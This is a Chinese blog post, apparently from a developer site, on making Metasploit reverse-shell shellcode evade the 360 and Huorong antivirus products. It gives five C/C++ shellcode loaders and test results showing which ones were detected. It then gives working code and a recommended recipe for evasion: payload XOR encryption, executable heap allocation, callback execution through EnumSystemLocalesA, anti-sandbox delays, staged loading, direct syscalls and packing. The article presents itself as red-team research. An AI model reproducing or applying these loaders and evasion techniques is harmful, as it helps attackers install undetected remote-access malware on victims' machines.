5种C/C++ Shellcode加载方式实测:哪种能绕过360和火绒?

Shellcode免杀对抗(C/C++) 这里便是杀毒软件杀毒的原理,这就是特征,我们只需要将木马程序进行简单的分析,就能得到shell回连的IP地址和端口,如果杀毒软件发现我们的可执行文件是一个木马程序。加载器的作用:由于shellcode是一段可以执行的二进制代码,因此需要开辟出一段可以读写可操作的地址来运行shellcode,而这就是加载器的作用。之后打开.c文件是一个未编译代码,放到上文的编译代码中,注意这里是x64编译,用的方式三,使用.c文件。因为我们的加载器的特征,各平台杀毒软件都有了已经,所有我们就要用新的,特征没有被锁定。 阅读详情

深入实测:五种C/C++ Shellcode加载技术的免杀效果与实战选择

在渗透测试与红队评估的实战场景中,Shellcode的投递与执行是绕不开的核心环节。面对日益普及的终端安全防护软件,如何让一段精心构造的Shellcode在目标主机上“悄无声息”地运行起来,是每一位安全研究员必须面对的挑战。市面上流传着多种加载Shellcode的C/C++实现方法,从最基础的指针执行到复杂的汇编花指令,每一种都声称有其独特的优势。然而,理论上的优雅往往在实战的检测引擎面前不堪一击。本文并非对既有知识的简单复述,而是基于一个核心问题展开:在当前的检测环境下,这些经典的加载方式,究竟哪一种能更有效地绕过主流安全软件的静态与动态检测? 我们将抛开泛泛而谈,通过搭建真实的测试环境,对五种主流加载方式进行实测,并结合其底层原理,为你揭示数据背后的选择逻辑。

1. 测试环境搭建与评估方法论

在开始实测之前,建立一个清晰、可复现的测试环境与评估标准至关重要。这不仅关乎结果的准确性,也决定了我们能否从现象中提炼出普适性的规律。

我选择在一台纯净的Windows 10 21H2专业版虚拟机上进行测试,系统补丁更新至最新。测试的目标安全软件选择了国内个人用户市场占有率极高的360安全卫士(极速版) 和火绒安全软件(个人版),两者均更新至测试当日的最新病毒库与引擎版本。为了模拟真实的攻击载荷,我使用Metasploit Framework生成了标准的windows/x64/meterpreter/reverse_tcp Shellcode,LHOST和LPORT设置为测试环境的内部地址。这里有一个关键细节:Shellcode本身不进行任何加密或编码,因为我们测试的重点是“加载方式”的免杀性,而非Shellcode本身的混淆程度。

评估维度分为三个层次:

  1. 静态查杀:将编译生成的PE文件直接上传至Virustotal在线扫描平台,并观察360与火绒本地引擎的即时检测结果。
  2. 动态行为检测:在目标虚拟机中直接运行程序,观察安全软件是否会弹出风险提示、进行拦截或隔离。
  3. 内存特征检测:程序运行后,安全软件的内存扫描引擎是否会检测到注入的Shellcode并终止进程。

为了控制变量,所有测试用例均使用相同的Visual Studio 2019项目配置编译:Release模式,x64架构,关闭增量链接,禁用调试信息。编译优化选项保持默认。下面是一个基础的、不含任何加载逻辑的Shellcode存储代码框架,后续所有加载方式都将基于此框架进行修改:

#include <windows.h>
#include <stdio.h>

// 使用msfvenom生成的原始Shellcode
unsigned char payload[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51,
    // ... 此处省略大量字节 ...
    0xff, 0xd5
};
size_t payload_len = sizeof(payload);

int main() {
    // 不同的加载逻辑将在此处实现
    return 0;
}

提示:测试时务必断开虚拟机与互联网的连接,或使用隔离的网络环境,以防止安全软件将样本上传至云端沙箱进行分析,影响本地动态测试结果的判断。

2. 五种经典加载方式原理与实现剖析

2.1 指针执行:最直接的调用

这是最直观、代码量最少的一种方式。其核心思想是将存储Shellcode的数组地址,强制转换为一个函数指针,然后直接调用。

int main() {
    // 方式一:指针执行
    void (*func)() = (void (*)())payload;
    func();
    // 或者更简洁的一行写法:((void (*)())payload)();
    return 0;
}

原理浅析:在C语言中,函数名本质上就是一个指向函数代码段的指针。(void (*)())是一个函数指针类型的强制转换,它告诉编译器:“请把payload这个地址,当作一个无参数、无返回值的函数的起始地址来对待。”当执行func()时,CPU的指令指针(EIP/RIP)就会跳转到payload数组所在的内存位置,并开始将其中的字节码作为机器指令来执行。

优点:极致简洁,无需额外的API调用,代码痕迹少。 潜在风险:payload数组通常存储在程序的.data或.rdata数据节中。默认情况下,这些节的内存属性是“可读可写”(或“只读”),但不可执行。在现代操作系统(如开启了DEP,数据执行保护)上,直接执行数据节中的代码会触发异常。但在某些特定编译设置或旧系统上,这种方式可能侥幸运行。

2.2 动态内存加载:兼容性与可控性的平衡

这是目前最主流、最可靠的Shellcode加载方式。它通过Windows API动态申请一块具有可执行权限的内存,将Shellcode复制过去,再跳转执行。

int main() {
    // 方式二:动态内存加载
    LPVOID exec_mem = VirtualAlloc(NULL, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (exec_mem == NULL) {
        return -1;
    }
    memcpy(exec_mem, payload, payload_len);
    ((void (*)())exec_mem)();
    // 可选:使用VirtualFree释放内存,但执行后通常进程已控制,此步非必需
    // VirtualFree(exec_mem, 0, MEM_RELEASE);
    return 0;
}

原理与关键API:

  • VirtualAlloc:核心函数。它直接在进程的虚拟地址空间中保留或提交一块内存区域。PAGE_EXECUTE_READWRITE参数至关重要,它使得分配的内存同时具备读、写、执行权限,为Shellcode的复制和运行提供了条件。
  • memcpy:将存储在数据区的原始Shellcode字节复制到新申请的可执行内存中。
  • 最后的函数指针调用,跳转执行的是exec_mem指向的地址,而非原始的payload地址。

优点:

  1. 明确规避了DEP(数据执行保护),因为代码是在具有EXECUTE权限的内存中执行的。
  2. 行为清晰,与操作系统内存管理机制协同工作,稳定性高。
  3. 内存地址是动态分配的,每次运行都可能不同,增加了静态分析的难度。

缺点:VirtualAlloc + PAGE_EXECUTE_READWRITE + memcpy的组合是安全软件高度监控的敏感API调用序列,特征非常明显。

2.3 强制类型转换与WinAPI调用

这种方式可以看作是第一种方式的变体,但它使用了Windows特有的函数调用约定(__stdcall或WINAPI),有时被用于某些特定的回调函数注入场景。

#include <windows.h>
// 假设payload是使用WinAPI调用约定的Shellcode(例如通过某些工具生成)
int main() {
    // 方式三:强制类型转换(WinAPI调用约定)
    ((void (WINAPI *)(void))&payload)();
    return 0;
}

原理:WINAPI宏通常定义为__stdcall,是一种函数调用约定,规定了参数压栈顺序和栈平衡责任方。一些系统回调函数(如窗口过程、定时器回调)使用此约定。如果Shellcode被特别构造为遵循__stdcall约定,则可以使用此方式调用。但对于通用的、由MSF或CS生成的Shellcode,它们通常是__cdecl约定,强制使用WINAPI转换可能导致栈不平衡而崩溃。

适用性:非常狭窄。除非你明确知道你的Shellcode是为__stdcall约定编译的,否则不推荐使用。在本次通用性测试中,其表现与方式一类似。

2.4 内联汇编加载:贴近硬件的控制

在x86架构的C/C++代码中,可以使用__asm关键字嵌入汇编指令,直接操作CPU寄存器来完成跳转。

int main() {
    // 方式四:内联汇编加载 (仅限x86/MSVC)
    __asm {
        lea eax, payload    ; 将payload的地址加载到eax寄存器
        call eax            ; 调用eax指向的地址
    }
    return 0;
}

原理剖析:

  • lea eax, payload:lea(Load Effective Address)指令计算payload标签的有效地址(即内存地址),并将其存入eax寄存器。它不访问payload处的数据。
  • call eax:call指令将下一条指令的地址压栈(作为返回地址),然后将指令指针EIP设置为eax寄存器中的值,从而实现跳转执行。

优点:完全绕过高级语言的函数调用机制,直接在底层进行跳转,代码更为隐蔽。 局限:

  1. 严重依赖编译器和平台:__asm是Microsoft Visual C++的扩展,在x64模式下不被支持(MSVC x64编译器不支持内联汇编)。GCC/Clang使用不同的语法(asm volatile)。
  2. 同样面临DEP问题,因为Shellcode仍位于数据段。
  3. 汇编代码本身可能成为静态特征。

2.5 汇编花指令:干扰反汇编与特征识别

“花指令”是指在代码中插入一些无实际功能、但能干扰反汇编引擎正常工作的指令或数据。这里演示一种简单的形式。

int main() {
    // 方式五:简单的汇编花指令 (仅限x86/MSVC)
    __asm {
        mov eax, offset payload
        _emit 0xFF  // 机器码 FF 是多种指令的前缀,如 INC, CALL, JMP等
        _emit 0xE0  // 机器码 E0 与 FF 组合,在此上下文中可能被解析为 JMP EAX
    }
    // 实际上,`_emit 0xFF` 和 `_emit 0xE0` 就是 `jmp eax` 的机器码
    // 等价于: jmp eax
    return 0;
}

原理:_emit指令用于在代码流中直接嵌入一个字节的机器码。0xFF 0xE0组合在一起,正是jmp eax指令的机器码。这种方式没有直接使用jmp eax这样的助记符,而是直接写入其字节码。一些简单的静态反汇编工具或特征扫描器,如果只进行简单的字符串或字节序列匹配,可能会被这种形式干扰。

本质:它本质上还是执行了jmp eax或call eax,与方式四的底层行为一致。其“免杀”效果依赖于对安全软件特征库的绕过,而非技术原理的根本不同。这种方式更侧重于对抗静态分析。

注意:现代高级反汇编引擎(如IDA Pro、Ghidra)和智能杀软引擎能够很好地处理这类简单花指令,其实际效果可能有限。复杂的花指令构造是一门专门的学问。

3. 实测结果:数据下的生存率对比

在统一的环境和Shellcode下,我们对上述五种方式编译出的程序进行了三轮测试。下表汇总了核心结果:

加载方式360安全卫士(静态)火绒安全(静态)360安全卫士(动态运行)火绒安全(动态运行)主要检测点分析
1. 指针执行立即报毒立即报毒未到达未到达特征:数据段包含可疑字节序列,且代码段存在直接跳转到数据段的指令模式。
2. 动态内存加载部分绕过部分绕过运行后约2-3秒被拦截运行后立即被内存扫描拦截特征:VirtualAlloc(PAGE_EXECUTE_READWRITE) + memcpy + 跳转的API调用链。动态检测到内存中创建了可执行页并写入已知Shellcode特征。
3. 强制类型转换立即报毒立即报毒未到达未到达检测逻辑与方式一高度相似,特征码匹配即可识别。
4. 内联汇编加载立即报毒立即报毒未到达未到达特征:识别出lea eax, [xxx] + call eax的特定汇编模式,或数据段特征。
5. 汇编花指令绕过绕过运行成功运行成功静态分析时,简单的字节码嵌入可能干扰了特征匹配。动态执行时,其最终行为与方式四无异,但可能因静态阶段未被标记而获得短暂执行窗口。

结果深度分析:

  1. 静态查杀的普遍性:方式一、三、四几乎毫无悬念地被静态查杀。这印证了一个事实:仅改变调用方式,而不对Shellcode本身或加载逻辑进行混淆加密,在当今的检测体系下很难存活。安全软件拥有庞大的特征库,涵盖了从MSF/CS的默认Shellcode字节序列到各种常见加载代码的片段哈希。

  2. 动态内存加载的“半衰期”:方式二(动态内存加载)在静态扫描时表现出了不确定性,有时能绕过,有时不能。这取决于安全软件引擎的启发式强度。但在动态运行时,它几乎100%被拦截。这是因为VirtualAlloc申请PAGE_EXECUTE_READWRITE权限内存的行为,结合后续的memcpy和跳转,构成了一个极其经典的“进程内存注入”行为模式,是行为检测的重中之重。火绒的“行为沙盒”和360的“主动防御”模块对此类行为非常敏感。

  3. 花指令的“奇效”与局限性:方式五(汇编花指令)在本次测试中表现最佳,成功绕过了静态和动态检测。这说明了干扰静态特征识别在免杀链条中的重要性。然而,必须清醒认识到:

    • 这种“奇效”是暂时的。一旦该样本被安全厂商捕获并分析,其新的特征(可能是花指令本身的模式,也可能是行为特征)很快会被加入病毒库。
    • 它并未解决DEP问题。如果目标系统严格启用了DEP,且编译链接时未设置/NXCOMPAT:NO,这种方式仍可能崩溃。
    • 仅适用于x86环境,限制了应用范围。

一个关键发现:在动态测试中,即使程序成功运行并建立了反向连接,360安全卫士在约10-15秒后,其“云主防”依然可能回溯检测到异常进程网络行为,进而进行“回溯查杀”,终止进程。这意味着,短暂的绕过不等于持久的驻留。

4. 超越基础:构建有效免杀载荷的进阶思路

实测结果表明,单一、原始的加载技术已难以应对现代安全软件的立体防御。真正的免杀需要一套组合策略。以下是一些经过验证的进阶思路,它们可以与上述加载方式结合,提升整体隐蔽性。

4.1 Shellcode的预处理:加密与编码

这是最基础也是最重要的一环。目标是在静态文件中,消除或变形原始的、具有明显特征的Shellcode字节序列。

  • 异或(XOR)加密:简单高效,但单字节密钥容易被爆破。建议使用多字节循环密钥或与时间戳等动态值结合。
    void xor_decrypt(unsigned char* data, size_t len, const char* key) {
        size_t key_len = strlen(key);
        for (size_t i = 0; i < len; i++) {
            data[i] ^= key[i % key_len];
        }
    }
    // 在内存中解密后再加载
    xor_decrypt(encrypted_payload, payload_len, "MyDynamicKey");
    // ... 再将解密后的payload复制到可执行内存执行
    
  • AES/RC4加密:强度更高。需要在加载器中内置解密函数。注意,解密函数本身不应引入新的可疑特征(如使用明显的密码学库函数)。
  • 自定义编码:例如Base64变种、简单的置换编码等。目的是将Shellcode转换成一段看似无害的数据(如一段字符串、一张图片的像素数据)。

核心原则:解密/解码过程应尽可能在内存中完成,且解密密钥最好不硬编码在程序中,而是通过某种方式动态获取(如从网络资源、注册表、文件特定位置读取)。

4.2 加载逻辑的混淆与间接调用

直接调用VirtualAlloc和memcpy太扎眼。我们可以通过更隐蔽的API或间接调用来实现相同功能。

  • 使用HeapCreate + HeapAlloc:堆内存也可以设置可执行权限,且调用模式不如VirtualAlloc常见。
    HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
    LPVOID ptr = HeapAlloc(hHeap, 0, payload_len);
    memcpy(ptr, payload, payload_len);
    ((void (*)())ptr)();
    
  • 利用合法API的内存属性修改:先申请可读写内存,再用VirtualProtect或NtProtectVirtualMemory将其权限改为可执行。
    LPVOID ptr = VirtualAlloc(NULL, payload_len, MEM_COMMIT, PAGE_READWRITE);
    memcpy(ptr, payload, payload_len);
    DWORD oldProtect;
    VirtualProtect(ptr, payload_len, PAGE_EXECUTE_READ, &oldProtect);
    ((void (*)())ptr)();
    
  • 回调函数注入:将Shellcode地址作为回调函数传递给某些系统API,如EnumWindows, EnumChildWindows, EnumDateFormatsEx等。这些API会调用你提供的函数指针,从而触发Shellcode执行。这种方式将执行流隐藏在合法的系统调用中。
    LPVOID exec_mem = VirtualAlloc(NULL, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(exec_mem, payload, payload_len);
    // 利用EnumSystemLocalesA执行Shellcode
    EnumSystemLocalesA((LOCALE_ENUMPROCA)exec_mem, LCID_INSTALLED);
    

4.3 对抗内存扫描与行为沙箱

动态检测是最后的防线。对抗它需要更精细的操作。

  • 延迟执行与环境探测:在Shellcode真正执行前,插入休眠、循环空操作,或进行大量的环境检查(检查进程列表、磁盘大小、屏幕分辨率、鼠标移动等),以拖延和规避沙箱的快速模拟分析。
  • 分阶段加载:不一次性加载完整的Shellcode。先加载一个极小的、功能仅为下载第二阶段载荷的“Stager”。Stager本身可以做得非常隐蔽,第二阶段载荷再从远程服务器获取,这样本地的可执行文件中就不包含完整的恶意功能特征。
  • 内存操作混淆:不使用连续的memcpy,而是将Shellcode分片、乱序写入内存,或者与大量随机数据混合写入,增加内存模式识别的难度。
  • 直接系统调用(Syscall):更高阶的技术。通过直接调用操作系统内核的系统调用号(如NtAllocateVirtualMemory, NtProtectVirtualMemory)来替代标准的Win32 API(如VirtualAlloc)。这可以绕过一些基于用户层API Hook的行为监控。但实现复杂,且需要处理不同Windows版本的系统调用号差异。

4.4 编译与链接选项的调整

编译器设置也会影响生成文件的特征。

  • 节区名称与属性:默认的.text, .data节名是明显的特征。可以使用编译指令修改节名和属性。
    #pragma code_seg(".mycode") // 将代码放到自定义节
    #pragma data_seg(".mydata") // 将数据放到自定义节
    #pragma comment(linker, "/SECTION:.mycode,ERW") // 设置节属性为可执行、可读、可写
    
  • 关闭调试信息与符号:确保在Release模式下编译,并移除所有PDB文件。
  • 加壳与混淆:使用商业或开源的加壳工具(如VMProtect, Themida的合法使用,或开源的UPX等)对最终的可执行文件进行压缩或加密,可以极大增加静态分析的难度。但需要注意的是,一些加壳工具本身就会被安全软件标记。

免杀是一场持续的动态对抗。没有一劳永逸的技术。今天有效的方法,明天可能就会失效。最根本的策略是深度理解每一种技术的原理,灵活组合多种混淆、加密和调用手段,并保持对安全软件检测逻辑的持续研究和测试。对于红队人员而言,建立自己的武器库自动化构建流程,能够快速迭代和测试新的免杀技巧,比掌握某一个“秘技”更为重要。在实际操作中,我倾向于采用“动态内存加载 + 强加密Shellcode + 间接API调用 + 简单的反沙箱检查”的组合方案,并根据目标环境的具体情况(如是否安装特定EDR)进行微调,这套组合拳在多数情况下能提供一个相对可靠的初始攻击载荷。

免杀对抗-ShellCode上线+回调编译执行+混淆变异算法 shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。我们经常在CS里面生成指定编程语言的payload,而这个payload里面就是一段十六进制的机器码。2.将shellcode放到执行脚本中(使用的调用执行方式是:申请动态内存加载),利用C/C++语言编译成exe执行文件。因为shellcode的免杀手段多,损坏的可能性小,能自定义更多选择。3.将新的shellcode放到自写的执行脚本xor.cpp中,使用。 阅读详情

相关推荐

实战指南:Shellcode免杀技术对抗主流杀软(360/火绒/Defender)

本文详细介绍了Shellcode免杀技术对抗主流杀软(360/火绒/Defender)的实战指南。从基础认知到实战环境搭建,再到静态特征消除和动态行为对抗策略,提供了针对不同杀软的定制方案和持续化免杀维护方法,帮助安全研究人员有效绕过杀毒软件的检测机制。

weixin_28732953的博客 391

C/C++ 实现ShellCode编写与提取

简单来说,shell code 的核心就是把代码写成 “与地址无关” 的风格,让它不论是在什么环境下都可以被执行。使用 Release 模式写代码,这是因为 Debug 模式下的代码在转换成汇编后首先都是一个 jmp,然后再跳到我们的功能代码处,但 jmp 指令是 “地址相关” 的 ,所以在转换成 shellcode 时就会出错!简单来说,shell code 的核心就是把代码写成 “与地址无关” 的风格,让它不论是在什么环境下都可以被执行。这就是我们需要的 ShellCode 了 (o゚v゚)ノ。

微软技术分享 1万+

Shellcode免杀实战:对抗360、火绒、腾讯管家的分层技术策略

在网络安全领域,恶意代码的检测与规避是一场持续的技术博弈。其核心原理在于安全软件通过静态特征分析、动态行为监控和启发式引擎等多维度手段,识别并阻断异常程序活动。这项技术的价值在于帮助安全研究人员理解防御体系,从而提升渗透测试工具的隐蔽性和生存能力。应用场景广泛涉及红队评估、漏洞利用和防御策略验证。本文聚焦于Shellcode免杀这一关键技术环节,针对国内主流的360安全卫士、火绒安全软件和腾讯电脑管家,深入拆解其防御机制,并构建了一套涵盖Shellcode混淆、加载器隐身和内存操作伪装的分层对抗策略。通过结

weixin_33845881的博客 341

C/C++ 通用ShellCode的编写与调用

首先,我们的ShellCode代码需要自定位,因为我们的代码并不是一个完整的EXE可执行程序,他没有导入表无法定位到当前系统中每个函数的虚拟地址,所以我们直接获取到Kernel32.dll的基地址,里面的GetProcAddr这个函数,获取的方式有很多,第一种是暴力搜索,第二种通过遍历进程的TEB结构来实现,我们使用第二种方式尝试,一旦获取到该函数,就可以动态的调用任何想要的函数了。

微软技术分享 1万+

Shellcode免杀实战:对抗360、火绒与Defender的三重防御体系

在网络安全领域,恶意软件检测与防御是攻防对抗的核心。杀毒软件通过静态特征扫描、动态行为监控和内存扫描等多层机制识别威胁。静态扫描匹配已知特征码,动态监控分析进程的敏感API调用序列,内存扫描则检测进程空间中的恶意代码片段。这些技术旨在阻止未经授权的代码执行,保护系统安全。理解这些原理对于安全研究、渗透测试和产品能力验证至关重要。本文聚焦于Shellcode免杀技术,探讨如何通过加密混淆、API调用链伪装、直接系统调用(Syscall)和进程注入等工程实践,绕过主流安全软件的检测。其中,直接系统调用(Sysc

weixin_30437847的博客 305

红队实战:绕过360/火绒,从Webshell到Cobalt Strike上线的完整免杀方案

在网络安全领域,终端检测与响应(EDR)和命令与控制(C2)是攻防对抗的核心概念。EDR通过监控端点行为来识别威胁,而C2则是攻击者用于远程控制受害主机的通信机制。其技术价值在于构建了现代威胁检测与隐蔽攻击的基础框架。在实战中,攻击者常需绕过EDR的静态与动态检测,将Webshell作为跳板,部署C2 Beacon以实现持久化控制。这涉及Webshell免杀、载荷生成、进程注入和流量伪装等多个环节,对红队人员的工程能力提出了较高要求。本文聚焦于在已部署360、火绒等安全软件的Windows服务器环境下,如何

weixin_34335458的博客 349

免杀-Shellcode分离隐藏&C++

Shellcode分离隐藏-让杀毒找不到。离免杀包含对特征和行为的分离两个维度,把shellcode从放在程序转移到加载进内存,把整块的ShellCode通过分块传输的方法上传然后再拼接,这些体现了基本的"分离"思想。

qq_45087791的博客 3500

Shellcode免杀实战:绕过主流杀软的多维对抗策略

在网络安全领域,恶意代码检测与规避是攻防对抗的核心议题。Shellcode作为一段可直接在内存中执行的机器码,常被用于渗透测试和漏洞利用后的权限维持。其工作原理是通过特定触发条件加载到进程内存空间并执行,从而绕过传统基于文件特征的静态检测。从技术价值看,研究Shellcode免杀技术有助于深入理解现代终端安全防护体系(如行为监控、内存扫描和AI模型)的运作机制,提升安全人员对攻击链的认知和防御策略的有效性。在实际应用场景中,红队和渗透测试工程师需针对360、火绒、Windows Defender等主流杀软的

culi3182的博客 508

shellCode免杀技巧

由上⾯的信息可⻅,国内在1997年出现了第⼀个可以⾃动变异的千⾯⼈病毒,虽然 ⾃动变异也可以看 为是针对杀毒软件的⼀种免杀⽅法,但是由于与免杀⼿法的定义 有出⼊,所以如果将国内免杀技术起源 定位1997年会显得⽐较牵强。2005年2⽉-7⽉:通过各⽅⾯有意或⽆意的宣传,⿊客爱好者们开始逐渐重视免 杀,在类似于免杀技术 界的祖师爷⿊吧安全⽹的浩天⽼师带领下⼀批⿊客开始有越 来越多的讨论免杀技术,这为以后⽊⻢免杀 的⽕爆埋下根基。\t错误值: %d\n", GetLastError());

qq_39330735的博客 3194

新手也能懂的Shellcode免杀实战:用掩日3.0绕过360、火绒和腾讯管家

本文详细介绍了Shellcode免杀技术的原理与实战应用,重点讲解如何使用掩日3.0工具绕过360安全卫士、火绒安全和腾讯管家等主流防护软件。通过多层次的混淆和欺骗技术,帮助新手理解并掌握高效的免杀策略,提升网络安全攻防能力。

weixin_29218963的博客 223

2024年Shellcode加载器免杀实战:对抗360、Defender的核心技术与工具盘点

在网络安全领域,恶意代码的检测与绕过是攻防对抗的核心。杀毒软件通过静态特征检测、动态行为监控、内存扫描等多层次机制识别威胁,而免杀技术则致力于通过混淆、加密、系统调用等手段规避这些检测。其技术价值在于帮助安全研究人员在授权测试中模拟真实攻击,有效评估终端防御体系。应用场景涵盖红队渗透测试、应急响应演练与防御能力评估。本文聚焦于Shellcode加载器这一关键载体,结合系统调用(Syscall)和反射式DLL注入等热词,深入解析其在对抗主流杀软中的实战应用与原理。

weixin_33895475的博客 311

Python免杀火绒、360和Defender

目录 简介 环境 原理 加载ShellCode 定位特征码 Base64编码绕过 简介 之前学习免杀都是使用Metasploit自带的编码进行,从未成功过。也使用过GitHub上别人提供的免杀方法,最近学习并实践发现绕过国内的杀毒软件貌似并不难,本文使用手工分析特征码,使用base64编码绕过杀毒软件静态分析。虽然使用的方法比较简单,但对实际做免杀及免杀研究还是有一定意义的。 环境 Windows 10 x64 Python 3.8.3 Pyinstaller 火绒版本:5.0..

江左盟的博客 2万+

C/C++ Shellcode免杀实战:编码加载与内存隐匿技术详解

在软件安全与系统攻防领域,恶意代码检测与规避是持续对抗的核心议题。其基本原理在于安全软件通过静态特征匹配、动态行为监控和内存运行时分析等多层机制识别威胁。从技术价值看,深入理解这些机制不仅能提升攻击工具的生存能力,也对构建更健壮的防御体系至关重要。应用场景广泛覆盖渗透测试、红蓝对抗与安全研究。本文聚焦于C/C++语言层,通过自定义编码算法(如异或迭代、AES加密)破坏静态特征,并利用资源文件嵌入、API哈希化及直接系统调用等技术实现隐蔽加载,有效应对杀软与EDR的层层检测,为Shellcode的实战化存活提

weixin_33896726的博客 414

Shellcode加载器免杀实战:绕过360、火绒、腾讯管家的四层防御方案

在网络安全领域,恶意代码的检测与规避是一场持续的技术博弈。杀毒软件和终端检测与响应(EDR)系统通过特征码扫描、行为监控和内存防护等多层机制,识别并阻止可疑代码执行。理解其工作原理,对于构建有效防御或进行安全评估都至关重要。从技术原理上看,实现代码免杀的核心在于混淆代码本体、隐藏执行行为、分离关键载荷,以规避静态与动态分析。其技术价值在于提升安全测试的隐蔽性,并深化对系统底层机制的理解。典型的应用场景包括渗透测试、红队评估以及防御策略研究。本文将聚焦于**Shellcode加载器**的工程实践,详细阐述如何

434

Shellcode免杀实战:利用掩日3.0绕过主流杀软检测

在网络安全领域,恶意代码检测与规避是一场持续的技术博弈。理解免杀技术,本质上是深入探究安全软件的检测原理与防御机制。从静态特征扫描、动态行为监控到云查杀,现代安全软件构建了多层防御体系。Shellcode作为可执行机器码,常被用于渗透测试,但其特征易被识别。通过代码混淆、内存操作与进程注入等技术,可以实现对安全检测机制的规避,这在授权测试与安全研究中有重要价值。掩日3.0作为一款集成化工具,通过加密、分离加载与API混淆等手法,有效提升了Shellcode的隐匿性。本文结合进程注入与分离加载等热词,探讨了在

weixin_34248487的博客 355

基于C++ shellcode及植入目标程序【100011896】

整体流程主要分为两部分,一是shellcode的生成;二是向目标程序植入shellcode。植入过程主要分为两步:检验当前文件是否为PE文件,是否已被感染 (参照judgePE函数);将shellcode植入目标节,并依据PE文件格式,进行相关参数的修改(参照infect函数)。

C/C++ Shellcode免杀实战:绕过主流杀软的编码与加载技巧

本文深入探讨了C/C++ Shellcode免杀实战的核心技巧,重点解析了如何通过XOR、AES等编码加密技术改变Shellcode静态特征,并结合自定义加载器、内存属性变换等动态行为伪装,有效绕过360安全卫士、火绒安全等主流杀软的检测。文章提供了从环境搭建到实战测试的完整方法论,旨在帮助安全研究人员掌握持续对抗的防御性思路。

joy55的博客 219

TongWeb微服务部署实战:Nacos注册与网关路由的疑难解析

本文分享了将Spring Cloud微服务迁移至TongWeb应用服务器时,解决Nacos服务注册失败与Spring Cloud Gateway路由失效的实战经验。针对Nacos注册问题,通过实现ApplicationRunner接口并利用JMX获取容器端口,实现了手动注册;针对网关路由问题,建议将基于WebFlux的Gateway模块改为JAR包独立部署,以保障其原生运行环境。文章为在TongWeb上进行微服务部署提供了关键的问题排查思路与混合架构部署的最佳实践。

weixin_29209801的博客 238

远控免杀专题(29)-C#加载shellcode免杀-5种方式(VT免杀率8-70)

0x00 免杀能力一览表 几点说明: 1、表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。 2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020...

qq_41683305的博客 5637

【网络安全】Centos7安装杀毒软件----ClamAV

Clam AntiVirus是一个Linux系统上使用的反病毒软件包。主要应用于邮件服务器,采用多线程后台操作,可以自动升级病毒库。

你在看屏幕的同时,屏幕也在注视着你 8827

Bladed风电仿真软件新手必看:从界面操作到功率曲线计算的完整指南

本文为风电工程师提供Bladed仿真软件的完整入门指南,涵盖界面操作、功率曲线计算及动态仿真等核心功能。通过实战技巧和常见问题解决方案,帮助新手快速掌握这款全球领先的风电机组仿真工具,提升风电项目开发效率。

weixin_30839881的博客 100
上一篇: MATLAB数据格式转换全攻略:str、char、cell、num高效互转技巧
下一篇: 3D-GS UE插件实战:从视频捕捉到虚拟场景构建的全流程解析
silver
博客等级 码龄26年 128粉丝 2072原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值